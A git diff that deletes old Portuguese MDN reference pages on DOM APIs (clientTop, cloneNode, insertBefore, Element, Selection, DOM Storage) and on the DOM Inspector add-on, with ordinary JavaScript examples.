Quando a propriedade - - layout.scrollbar.side - é configurada para 1 ou para 3 e quando a direção do texto é configurada da direita para a esquerda, então a barra de rolagem vertical é posicionada na esquerda e isto impacta na maneira como o clientLeft é computado.

-

Especificação

-

Não é parte de qualquer especificação W3C.

-

Notas

-

clientLeft foi primeiramente introduzido no objeto modelo DHTML do MS IE.

-

A posição da barra de rolagem vertical na direção do texto, direita para a esquerda, configura que o elemento dependerá da preferência - - layout.scrollbar.side -

-

Referências

- -

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/DOM/element.clientLeft", "ja": "ja/DOM/element.clientLeft", "pl": "pl/DOM/element.clientLeft" } ) }}

diff --git a/files/pt-pt/dom/element.clienttop/index.html b/files/pt-pt/dom/element.clienttop/index.html deleted file mode 100644 index 02f2ee736c..0000000000 --- a/files/pt-pt/dom/element.clienttop/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: element.clientTop -slug: DOM/element.clientTop -tags: - - PrecisaDeRevisãoEditorial - - Referência_do_DOM_Gecko -translation_of: Web/API/Element/clientTop ---- -

{{ Fx_minversion_header(3) }} {{ ApiRef() }} Falta uma imagem no documento

-

Resumo

-

A largura da borda superior de um elemento em pixels não inclui a margem superior ou o enchimento. clientTop é somente leitura.

-

Aplicações baseadas em Gecko suportam clientTop começando com Gecko 1.9 (Firefox 3, implementou em {{ Bug(111207) }}). Esta propriedade não é suportada no Firefox 2 e mais antigos.

-

Sintaxe

-
vartop = element.clientTop;
-
-

Exemplos

-
-
-

padding-top

-

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

-

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

-

Cat image and text coming from www.best-cat-art.com

-

padding-bottom

-
- LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
-

Image:clientTop.png

-

Especificação

-

Não é parte de nenhuma especificação W3C.

-

Notas

-

clientTop foi primeiramente introduzido no objeto modelo DHTML do MS IE.

-

Referências

- -

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/DOM/element.clientTop", "pl": "pl/DOM/element.clientTop" } ) }}

diff --git a/files/pt-pt/dom/element.clonenode/index.html b/files/pt-pt/dom/element.clonenode/index.html deleted file mode 100644 index 71f0c5064a..0000000000 --- a/files/pt-pt/dom/element.clonenode/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: element.cloneNode -slug: DOM/element.cloneNode -translation_of: Web/API/Node/cloneNode ---- -

Resumo

- -

Retorna a cópia de um elemento.

- -

Syntax

- -
dupNode = element.cloneNode(deep);
-
- - - -

Example

- -
p = document.getElementById("diogok");
-p_prime = p.cloneNode(true);
-
- -

Notas

- -

Clonando um nó copiamos todos seus atributos e seus respectivos valores

- -

O nó clonado retornado por cloneNode não faz parte do documento enquanto não for adicionado a um outro nó que faça parte do documento usando appendChild ou outro método similar. Enquanto não for adicionado a um outro nó, será um nó sem pai. Ou seja, o clone não herda o pai do original.

- -

Se deep for false, nada sobre os nós filhos será clonado. Qualquer texto contido no nó não será clonado junto, já que o texto fica contido em nós de texto.

- -

Se deep for true, toda a subárvore (incluíndo texto) é copiado também. Para nós vazios (como os elementos IMG e INPUT) não importa qua valor que você coloque em deep, mas você ainda deve definir um valor

- -

Note que o cloneNode pode causar o problema de termos dois elementos com um mesmo id em um documento!

- -

Somente os eventos colocados em atributos inline são copiados. Os eventos adicionados após a renderização do nó via javascript não são copiados.

- -
var elms = document.getElementById('foo');
-elms.onclick = function(){
-	alert('Eu não deveria ser copiado?');
-}
-var g = elms.cloneNode(true);
-g.id = 'foo2';
-g.style.top = '0px';
-document.body.appendChild(g);
-
- -

No trecho de código acima o atributo onclick não é copiado. Nem mesmo com addEventListener.

- -

Especificação

- -

DOM Level 2 Core: cloneNode

diff --git a/files/pt-pt/dom/element.insertbefore/index.html b/files/pt-pt/dom/element.insertbefore/index.html deleted file mode 100644 index d0393410a6..0000000000 --- a/files/pt-pt/dom/element.insertbefore/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: element.insertBefore -slug: DOM/element.insertBefore -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Node/insertBefore ---- -

{{ ApiRef() }}

-

Sumário

-

Insere um nó filho ao nó atual, antes de um determinado elemento.

-

Síntaxe

-
varinsertedElement =parentElement.insertBefore(newElement,referenceElement)
-
-

If referenceElement is null, newElement is inserted at the end of the list of child nodes.

- -

Se referenceElement é null o elemento é inserido em último lugar na lista de nós filhos. Ver childNodes

-

Exemplo

-
 <html>
-
- <head>
- <title>Gecko DOM insertBefore test</title>
- </head>
- <body>
- <div>
-   <span id="childSpan">foo bar</span>
- </div>
-
- <script type="text/javascript">
- // cria um elemento vazio
- // sem ID ou qualquer outro atributo
- var sp1 = document.createElement("span");
-
- // atribui o ID 'newSpan' para o elemento criado
- sp1.setAttribute("id", "newSpan");
-
- //cria um conteudo para o novo elemento,um texto curto
- var sp1_content = document.createTextNode("This is a new span element. ");
- // adiciona o conteúdo a novo elemento
- sp1.appendChild(sp1_content);
-
- var sp2 = document.getElementById("childSpan");
- var parentDiv = sp2.parentNode;
-
- // insere o novo elemento antes sp2
- parentDiv.insertBefore(sp1, sp2);
- </script>
-
- </body>
- </html>
-
-

Não há um método insertAfter(insere depois), porém pode se obter um resultado semelhante usando a combinação entre insertBefore e nextSibling. Por exemplo, sp1 pode inserido depois de sp2 usando comando parentDiv.insertBefore(sp1, sp2.nextSibling); Se a propridade nextSibling retornar null indica que o elemento é o último nó filho, logo novo elemento será incluído no final da lista de nós filhos

-

 

-

Espeficação

-

insertBefore

-

{{ languages( { "en": "en/DOM/element.insertBefore", "pl": "pl/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore" } ) }}

diff --git a/files/pt-pt/dom/element/index.html b/files/pt-pt/dom/element/index.html deleted file mode 100644 index 7b9a55f260..0000000000 --- a/files/pt-pt/dom/element/index.html +++ /dev/null @@ -1,573 +0,0 @@ ---- -title: element -slug: DOM/element -tags: - - API - - API da Web - - DOM - - Element - - Elemento - - Interface - - Referencia - - Referência DOM -translation_of: Web/API/Element ---- -
{{APIRef("DOM")}}
- -

Element é a classe base mais geral da qual todos os objetos em um {{DOMxRef("Document","documento")}} herdam. Este só tem métodos e propriedades comuns para todos os tipos de elementos. Classes mais específicas herdam de Element. Por exemplo, a interface {{DOMxRef("HTMLElement")}} é a interface base para os elementos HTML, enquanto a interface {{DOMxRef("SVGElement")}} é a base para todos os elementos SVG. A maioria das funcionalidades é especificada mais abaixo na hierarquia de classes.

- -

Linguagens fora do âmbito da plataforma Web, como XUL através da interface XULElement, também implementa Element.

- -

{{InheritanceDiagram}}

- -

Propriedades

- -

Inherits properties from its parent interface, {{DOMxRef("Node")}}, and by extension that interface's parent, {{DOMxRef("EventTarget")}}. It implements the properties of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, and {{DOMxRef("Animatable")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomeDescriçãoTipoDosponibilidade
attibutesTodos os atributos associados ao elementoNamedNodeMapAll
childNodesTodos os nós-filhos de um elemento.NodeListAll
classNameRetorna ou define a classe do elemento.StringHTML, XUL
clientHeightA altura interna de um elemento.NumberHTML
clientLeftA largura da borda esquerda de um elemento.NumberHTML
clientTopA largura da borda superior de um elemento.NumberHTML
clientWidthA largura interna de um elemento.NumberHTML
dirRetorna ou define a direcionalidade do elemento.StringHTML, XUL
firstChildO primeiro nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
idRetorna ou define o id do elemento.StringHTML, XUL
innerHTMLRetorna ou define a marcação e o conteúdo de um elemento.StringHTML
langRetorna ou define o atributo linguagem de um elemento, texto, e conteúdo do elemento.StringHTML
lastChildO último nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
localNameA parte local de um nome qualificado de um elemento.StringAll
NomeDescriçãoTipoDisponibilidade
nameRetorna/define o atributo name de um elemento.StringHTML
namespaceURIA URI de namespace do nó, ou null se não está especificado.StringAll
nextSiblingO nó imediatamente seguinte ao dado numa árvore, ou null se não existe nó-irmão.NodeAll
nodeNameO nome do nó.StringAll
nodeTypeUm número representando o tipo do nó. É sempre igual a 1 para elementos DOM.NumberAll
nodeValueO valor do nó. É sempre igual a null para elementos DOM.StringAll
offsetHeightA altura de um elemento, em relação ao layout.NumberHTML
offsetLeftA distância da borda esquerda do elemento para o a borda esquerda do seu offsetParent.NumberHTML
offsetParentO elemento para o qual todos cálculos de offset estão atualmente computados.ElementHTML
offsetTopA distância da borda superior do elemento para o a borda superior do seu offsetParent.NumberHTML
offsetWidthA largura de um elemento, em relação ao layout.NumberHTML
ownerDocumentO documento no qual o nó está, ou null se o nó não está dentro de nenhum.DocumentAll
NomeDescriçãoTipoDisponibilidade
parentNodeThe parent element of this node, or null if the node is not inside of a DOM Document.NodeAll
prefixThe namespace prefix of the node, or null if no prefix is specified.StringAll
previousSiblingThe node immediately preceding the given one in the tree, or null if there is no sibling node.NodeAll
scrollHeightThe scroll view height of an element.NumberHTML
scrollLeftGets/sets the left scroll offset of an element.NumberHTML
scrollTopGets/sets the top scroll offset of an element.NumberHTML
scrollWidthThe scroll view width of an element.NumberHTML
styleAn object representing the declarations of an element's style attributes.CSSStyleHTML, XUL
tabIndexGets/sets the position of the element in the tabbing order.NumberHTML
tagNameThe name of the tag for the given element.StringAll
textContentGets/sets the textual contents of an element and all its descendants.StringAll
- -

Métodos

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome & DescriçãoRetornaDisponibilidade
addEventListener( type, listener, useCapture )
- Register an event handler to a specific event type on the element.
-All
appendChild( appendedNode )
- Insert a node as the last child node of this element.
NodeAll
blur()
- Removes keyboard focus from the current element.
-HTML, XUL
click()
- Simulates a click on the current element.
-HTML, XUL
cloneNode( deep )
- Clone a node, and optionally, all of its contents.
NodeAll
dispatchEvent( event )
- Dispatch an event to this node in the DOM.
BooleanAll
focus()
- Gives keyboard focus to the current element.
-HTML, XUL
getAttribute( name )
- Retrieve the value of the named attribute from the current node.
ObjectAll
getAttributeNS( namespace, name )
- Retrieve the value of the attribute with the specified name and namespace, from the current node.
ObjectAll
getAttributeNode( name )
- Retrieve the node representation of the named attribute from the current node.
AttrAll
getAttributeNodeNS( namespace, name )
- Retrieve the node representation of the attribute with the specified name and namespace, from the current node.
AttrAll
Nome & DescriçãoRetornaDisponibilidade
getElementsByTagName( name )
- Retrieve a set of all descendant elements, of a particular tag name, from the current element.
NodeSetAll
getElementsByTagNameNS( namespace, name )
- Retrieve a set of all descendant elements, of a particular tag name and namespace, from the current element.
NodeSetAll
hasAttribute( name )
- Check if the element has the specified attribute, or not.
BooleanAll
hasAttributeNS( namespace, name )
- Check if the element has the specified attribute, in the specified namespace, or not.
BooleanAll
hasAttributes()
- Check if the element has any attributes, or not.
BooleanAll
hasChildNodes()
- Check if the element has any child nodes, or not.
BooleanAll
insertBefore( insertedNode, adjacentNode )
- Inserts the first node before the second, child, Node in the DOM.
NodeAll
normalize()
- Clean up all the text nodes under this element (merge adjacent, remove empty).
-All
removeAttribute( name )
- Remove the named attribute from the current node.
-All
removeAttributeNS( namespace, name )
- Remove the attribute with the specified name and namespace, from the current node.
-All
Nome & DescriçãoRetornaDisponibilidade
removeAttributeNode( name )
- Remove the node representation of the named attribute from the current node.
-All
removeChild( removedNode )
- Removes a child node from the current element.
NodeAll
removeEventListener( type, handler, useCapture )
- Removes an event listener from the element.
-All
replaceChild( insertedNode, replacedNode )
- Replaces one child node in the current element with another.
NodeAll
scrollIntoView( alignWithTop )
- Scrolls the page until the element gets into the view.
-HTML
setAttribute( name, value )
- Set the value of the named attribute from the current node.
-All
setAttributeNS( namespace, name, value )
- Set the value of the attribute with the specified name and namespace, from the current node.
-All
setAttributeNode( name, attrNode )
- Set the node representation of the named attribute from the current node.
-All
setAttributeNodeNS( namespace, name, attrNode )
- Set the node representation of the attribute with the specified name and namespace, from the current node.
-All
- -

Event Handlers

- -

These are properties that correspond to the HTML 'on' event attributes.

- -

Unlike the corresponding attributes, the values of these properties are functions (or any other object implementing the EventListener interface) rather than a string. In fact, assigning an event attribute in HTML creates a wrapper function around the specified code. For example, given the following HTML:

- -
<div onclick="foo();">click me!</div>
-
- -

If element is a reference to this div, the value of element.onclick is effectively:

- -
function onclick(event) {
-   foo();
-}
-
- -

Note how the event object is passed as parameter event to this wrapper function.

- -
-
onblur
-
Returns the event handling code for the blur event.
-
- -
-
onchange
-
Returns the event handling code for the change event.
-
- -
-
onclick
-
Returns the event handling code for the click event.
-
- -
-
ondblclick
-
Returns the event handling code for the dblclick event.
-
- -
-
onfocus
-
Returns the event handling code for the focus event.
-
- -
-
onkeydown
-
Returns the event handling code for the keydown event.
-
- -
-
onkeypress
-
Returns the event handling code for the keypress event.
-
- -
-
onkeyup
-
Returns the event handling code for the keyup event.
-
- -
-
onmousedown
-
Returns the event handling code for the mousedown event.
-
- -
-
onmousemove
-
Returns the event handling code for the mousemove event.
-
- -
-
onmouseout
-
Returns the event handling code for the mouseout event.
-
- -
-
onmouseover
-
Returns the event handling code for the mouseover event.
-
- -
-
onmouseup
-
Returns the event handling code for the mouseup event.
-
- -
-
onresize
-
Returns the event handling code for the resize event.
-
- -
-
onscroll
-
Returns the event handling code for the scroll event.
-
- -
 
- -

Compatibilidade de navegador

- - - -

{{Compat("api.Element")}}

diff --git a/files/pt-pt/dom/selection/index.html b/files/pt-pt/dom/selection/index.html deleted file mode 100644 index a33e618def..0000000000 --- a/files/pt-pt/dom/selection/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Selection (Seleção) -slug: DOM/Selection -translation_of: Web/API/Selection ---- -

Introdução

- -

Selection é a classe do objeto retornado por window.getSelection() e outros métodos. Um objeto Selection representa os intervalos que o usuário tenha selecionado. Normalmente, ele tem apenas um intervalo, acessada assim:

- -
selection = window.getSelection();
-range = selection.getRangeAt(0);
- -

Chamar o método toString() retorna o texto contido na seleção, por exemplo:

- -
selection = window.getSelection();
-window.alert(selection);
-
- -

Glossário

- -

Outros termos utilizados nesta seção.

- -
-
Âncora (anchor)
-
A âncora de uma seleção é o ponto de início da seleção. Ao fazer uma seleção com um mouse, a âncora no documento é o local onde o botão do mouse é inicialmente pressionado. Como o usuário muda a seleção usando o mouse ou o teclado, a âncora não se move.
-
Foco (focus)
-
O foco da seleção é o ponto final da seleção. Ao fazer uma seleção com o mouse, o foco está no documento onde o botão do mouse é liberado. Como o usuário muda a seleção usando o mouse ou o teclado, o foco é a final da seleção que se move.
-
Intervalo (range)
-
Um intervalo é uma parte contígua de um documento. Um intervalo pode conter nós inteiro, bem como partes de nós, como uma parte de um nó de texto. Um usuário normalmente só seleciona um intervalo de cada vez, mas é possível que um usuário selecione vários intervalos (por exemplo, usando a tecla Control). Um intervalo pode ser recuperado a partir de uma seleção como um objeto Range. Objetos Range também podem ser criadas através do DOM e programaticamente adicionado ou removido de uma seleção.
-
- -

Propriedades

- -
-
anchorNode
-
Retorna o nó em que a seleção começa.
-
anchorOffset
-
Retorna o número de caracteres que a âncora da seleção é compensada dentro do anchorNode.
-
focusNode
-
Retorna o nó em que a seleção termina.
-
focusOffset
-
Retorna o número de caracteres que o foco da seleção é compensado dentro do focusNode.
-
isCollapsed
-
Retorna um booleano indicando se os pontos de início e fim da seleção estão na mesma posição.
-
rangeCount
-
Retorna o número de faixas na seleção.
-
- -

Métodos

- -
-
addRange
-
Um objeto de intervalo (Range) que será adicionado à seleção.
-
collapse
-
Recolhe a seleção atual para um único ponto.
-
collapseToStart
-
Move o foco da seleção para o mesmo ponto da âncora.
-
collapseToEnd
-
Move a âncora da seleção para o mesmo ponto que o foco. O foco não se move.
-
containsNode
-
Indica se um determinado nó é parte da seleção.
-
deleteFromDocument
-
Apaga o conteúdo da seleção do documento.
-
extend
-
Move o foco da seleção para um ponto especificado.
-
getRangeAt
-
Retorna um objeto de intervalo (Range) representando um dos intervalos atualmente selecionados.
-
removeAllRanges
-
Remove todos os intervalos da seleção.
-
removeRange
-
Remove uma faixa (range) da seleção.
-
selectAllChildren
-
Adiciona todos os filhos do nó especificado para a seleção.
-
toString
-
Retorna uma string a ser representada pelo objeto de seleção, ou seja, o texto atualmente selecionado.
-
diff --git a/files/pt-pt/dom/storage/index.html b/files/pt-pt/dom/storage/index.html deleted file mode 100644 index 7287b4bca5..0000000000 --- a/files/pt-pt/dom/storage/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: DOM Storage -slug: DOM/Storage ---- -

{{ ApiRef() }} {{ Fx_minversion_header(2) }}

-

Resumo

-

DOM Storage é o nome dado ao conjunto de características de armazenamento relacionadas (storage-related features) inicialmente apresentadas na especificação Web Applications 1.0, e agora dividida em sua própria especificação W3C Web Storage. DOM Storage foi desenhado para proporcionar uma alternativa mais segura e fácil de usar, para o armazenamento de informações em cookies. Atualmente ela está disponível somente nos navegadores baseados no Mozilla e WebKit, começando notavelmente com o Firefox 2 e o Safari 4.

-
- Nota: DOM Storage não é o mesmo que mozStorage (Interface XPCOM da Mozilla para o SQLite) ou Session store API (uma ferramenta de armazenamento XPCOM para uso de extensões).
-

Descrição

-

O mecanismo DOM Storage é um meio através do qual pares de strings de chaves/valores podem ser armazenados com segurança e mais tarde recuperados para uso.  A meta desta adição é proporcionar um meio compreensível através do qual aplicações interativas possam ser construídas (incluindo habilidades avançadas, tal como ser capaz de trabalhar "offline" por períodos de tempo maiores).

-

Atualmente, somente navegadores baseados no Mozilla, Internet Explorer 8 beta 2 e Safari (não outros navegadores baseados em webkit, por exemplo, o Google Chrome) proporcionam um trabalho de implementação da especificação do DOM Storage. O Internet Explorer anterior a versão 8 tem uma característica similar chamada "userData behavior" que permite guardar dados através de múltiplas sessões do navegador.

-

Dom Storage é útil porque não existem métodos diretamente nos navegadores, bons para guardar quantidades de dados razoáveis por qualquer período de tempo. Os cookies do navegador (Browser cookies) tem uma capacidade limitada e não proporcionam suporte para organizar dados armazenados, e outros métodos (tal como Flash Local Storage) que requerem um plugin externo.

-

Umas dos primeiros aplicativos públicos a fazer uso da nova funcionalidade DOM Storage (em adição ao userData Behavior do Internet Explorer) foi o halfnote (um aplicativo de tomada de notas) escrito por Aaron Boodman. Em seu aplicativo, Aaron simultaneamente salvava notas no servidor (quando a conexão a internet estava disponível) e em um armazenamento local de dados. Isto permitia ao usuário escrever seguramente, cópias de notas mesmo com uma conexão esporádica à internet.

-

Embora o conceito e implementação apresentados no halfnote seja comparativamente simples, sua criação mostra a possibilidade para uma nova geração de aplicativos web que sejam utilizáveis tanto online quanto offline.

-

Referência

-

A seguir vem objetos globais que existem como propriedades de todos os window object. Isto significa que eles podem ser acessados por sessionStorage ou window.sessionStorage. (Isto é importante porque você pode então usar IFrames para armazenar, ou acessar, dados adicionais, além do que está imediatamente incluído em sua página).

-

Storage

-

Este é um construtor (Storage) para todas as instâncias Storage (sessionStorage e globalStorage[location.host]). Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) } assim configuradao, pode ser acessado como localStorage.removeKey e sessionStorage.removeKey.

-

Itens globalStorage não são instâncias de Storage, e sim uma instância de StorageObsolete.

-

Storage é definido pelo WhatWG Storage Interface como:

-
interface Storage {
-  readonly attribute unsigned long length;
-  [IndexGetter] DOMString key(in unsigned long index);
-  [NameGetter] DOMString getItem(in DOMString key);
-  [NameSetter] void setItem(in DOMString key, in DOMString data);
-  [NameDeleter] void removeItem(in DOMString key);
-  void clear();
-};
-

 

-

sessionStorage

-

Este é um objeto global (sessionStorage) que mantém uma área de armazenamento disponível enquanto durar a sessão da página. Uma sessão de página dura enquanto o navegador estiver aberto e continua mesmo sobre recarregamentos e restaurações. Abrindo uma página em uma nova aba ou janela causará o início de uma nova sessão.

-
// Save data to a the current session's store
-sessionStorage.username = "John";
-
-// Access some stored data
-alert( "username = " + sessionStorage.username );
-
-

O objeto sessionStorage é útil para guardar dados temporários que devem ser salvos e restaurados se o navegador for atualizado acidentalmente.

-

{{ fx_minversion_note("3.5", "Nas versões anteriores ao Firefox 3.5, os dados em sessionStorage não eram restaurados automaticamente depois de recuperar-se de uma quebra no navegador. A partir do Firefox 3.5, isto funciona como na especificação.") }}

-

Exemplos:

-

Autosalvar o conteúdo de uma campo de texto, e se o navegador for atualizado acidentalmente , restaurar o conteúdo do campo de texto, não tendo perdas na escrita.

-
 // Get the text field that we're going to track
- var field = document.getElementById("field");
-
- // See if we have an autosave value
- // (this will only happen if the page is accidentally refreshed)
- if ( sessionStorage.autosave ) {
-     // Restore the contents of the text field
-     field.value = sessionStorage.autosave;
- }
-
- // Check the contents of the text field every second
- setInterval(function(){
-     // And save the results into the session storage object
-     sessionStorage.autosave = field.value;
- }, 1000);
-
-

Mais informações:

- -

globalStorage

-

{{ Non-standard_header() }} Este é um objeto global (globalStorage) que mantém múltiplas áreas de armazenamento privadas que podem ser usadas para guardar dados por um longo período de tempo (por exemplo, sobre múltiplas láginas e sessões do navegador).

-
- Nota: globalStorage não é uma instância de Storage, mas uma instância StorageList contendo instâncias StorageObsolete.
-
// Save data that only scripts on the mozilla.org domain can access
-globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
-
-

Especificamente, o objeto globalStorage fornece acesso a um número de diferentes objetos de armazenamento em que os dados sejam armazenados. Por exemplo, se construirmos uma página web que use globalStorage em seu domínio (developer.mozilla.org) é necessário termos o objeto de armazenamento a seguir disponível para nós:

- -

{{ Fx_minversion_note(3, "O Firefox 2 passou a permitir acesso aos objetos de armazenamento superiores ao documento corrente na hierarquia do domínio. Por razões de segurança isto não é mais permitido no Firefox 3. Além disso, a proposta de adição ao HTML 5 foi removida da especificação do HTML 5 em favor de localStorage, que foi implementado no Firefox 3.5.") }}

-

Exemplos:

-

Todos estes exemplos requerem que você tenha uns script inserido (com o código seguinte) em todas as páginas que você quiser ver o resultado.

-

Lembrar o nome de usuário para o subdomínio particular que está sendo visitado:

-
 globalStorage['developer.mozilla.org'].username = "John";
-
-

Manter o número de vezes que um usuário visitou todas as páginas do seu domínio:

-
 // parseInt must be used since all data is stored as a string
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
-

localStorage

-

localStorage é o mesmo que globalStorage[location.hostname], com a exceção de ser projetado para a origem do HTML 5 (esquema + nome do host + porta não padrão) e localStorage é uma instância de Storage diferente de globalStorage[location.hostname] que é uma instância de StorageObsolete. Por exemplo, http://example.com não está disponível para acessar o mesmo objeto localStorage que https://example.com mas eles podem acessar o mesmo item globalStorage. localStorage é uma interface padrão enquanto globalStorage não é padrão. localStorage foi adicionada ao Firefox 3.5.

-

Por favor, note que configurar a propriedade globalStorage[location.hostname] não a configura em localStorage e por extensão Storage.prototype não afeta itens globalStorage, somente extendendo o que StorageObsolete.prototype faz.

-
- Nota: Quando o navegador entra em modo de navegação privada, um novo banco de dados temporário é criado para guardar dados de armazenamento local; este banco de dados é vazio, e é jogado fora qunado o modo de navegação privado é desativado.
-

Mais informações

- -

Exemplos

- - - -

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

diff --git a/files/pt-pt/dom_inspector/index.html b/files/pt-pt/dom_inspector/index.html deleted file mode 100644 index a8f1e36178..0000000000 --- a/files/pt-pt/dom_inspector/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Inspetor de DOM -slug: DOM_Inspector -tags: - - 'DOM:Ferramentas' - - Desenvolvimento_Web - - 'Desenvolvimento_Web:Ferramentas' - - 'Extensões:Ferramentas' - - Ferramentas - - PrecisaDeRevisãoTécnica - - Temas - - 'Temas:Ferramentas' - - Todas_as_Categorias - - 'XUL:Ferramentas' -translation_of: Tools/Add-ons/DOM_Inspector ---- -
{{ToolsSidebar}}

Inspector DOM (também conhecido como DOMi) é uma ferramenta de programação utilizada para inspecionar, navegar, e editar Document Object Model of documents - usually web pages or XUL windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.

- -
-

This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the Page Inspector

-
- -

Documentação

- -
-
Introduction to DOM Inspector
-
A guided tutorial that will help you get started with DOM Inspector.
-
- -
-
Perguntas Mais Frequentes do Inspetor de DOM
-
Answers to common questions on DOM Inspector.
-
- -
-
Página do Inspetor de Inspector em MozillaZine (EN)
-
Mais informação sobre o Inspetor de DOM.
-
Como criar o Inspetor de DOM (EN)
-
Blog post on building the DOM Inspector from source.
-
- -

Obter o Inspetor de DOM

- -
-
Firefox & Thunderbird
-
You may download and install the DOM Inspector from the AMO web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the DOM Inspector for Thunderbird page.)
-
- -
-
Thunderbird 2
-
DOM Inspector for Thunderbird 2 is available from Thunderbird Add-ons. Or, build Thunderbird yourself with the following options:
-
- -
ac_add_options --enable-extensions="default inspector"
-ac_add_options --enable-inspector-apis
-
- -
-
Mozilla Suite and SeaMonkey
-
Select Tools > Web Development > DOM Inspector. You can install the Sidebar panel via Edit > Preferences > Advanced > DOM Inspector, then simply open up the inspector panel and visit a website.
-
- -

Comunicar um erro no Inspetor de DOM

- -

Use the conveniently named "DOM Inspector" component in Bugzilla.

- -

To find out who knows DOM Inspector code and where it lives, see the DOM Inspector module listing.

diff --git a/files/pt-pt/dom_inspector/introduction_to_dom_inspector/index.html b/files/pt-pt/dom_inspector/introduction_to_dom_inspector/index.html deleted file mode 100644 index bacdb4c4c2..0000000000 --- a/files/pt-pt/dom_inspector/introduction_to_dom_inspector/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Introdução ao Inspetor de DOM -slug: DOM_Inspector/Introduction_to_DOM_Inspector -translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector ---- -
{{ToolsSidebar}}

O 'Inspetor de DOM' é uma extensão da Mozilla que pode aceder no menu Ferramentas > Desenvolvimento da Web no SeaMonkey, ou selecionar o item de menu do 'Inspetor de DOM' no menu das 'Ferramentas' no Firefox e Thunderbird, ou utilizar Ctrl/Cmd+Shift+I numa das aplicações. DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the DOM, or it can be used to manipulate the DOM by hand, if desired.

- -
Note: Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must download and install it from the Mozilla add-ons web site.
- -

When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available.

- -

domi.png

- -

Inspecionar um Documento

- -

When the DOM Inspector opens, it may or may not load an associated document, depending on the host application. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways.

- -

Inspecionar Documentos de Conteúdo

- -

The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here.domi-inspect-content-popup.png

- -

Inspecionar Documentos do Chrome

- -

The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this list. The DOM Inspector keeps track of all the windows that are open, so to inspect the DOM of a particular window in the DOM Inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.

- -

domi-inspect-chrome-popup.png

- -

Inspecionar URLs arbitrários

- -

You may also inspect the DOM of arbitrary URLs by using the Inspect a URL menuitem in the File menu, or by just entering a URL into the DOM Inspector's address bar and clicking Inspect or pressing enter. For example, you can enter http://www.mozilla.org in the address bar and see the DOM structure of the mozilla.org home page.

- -

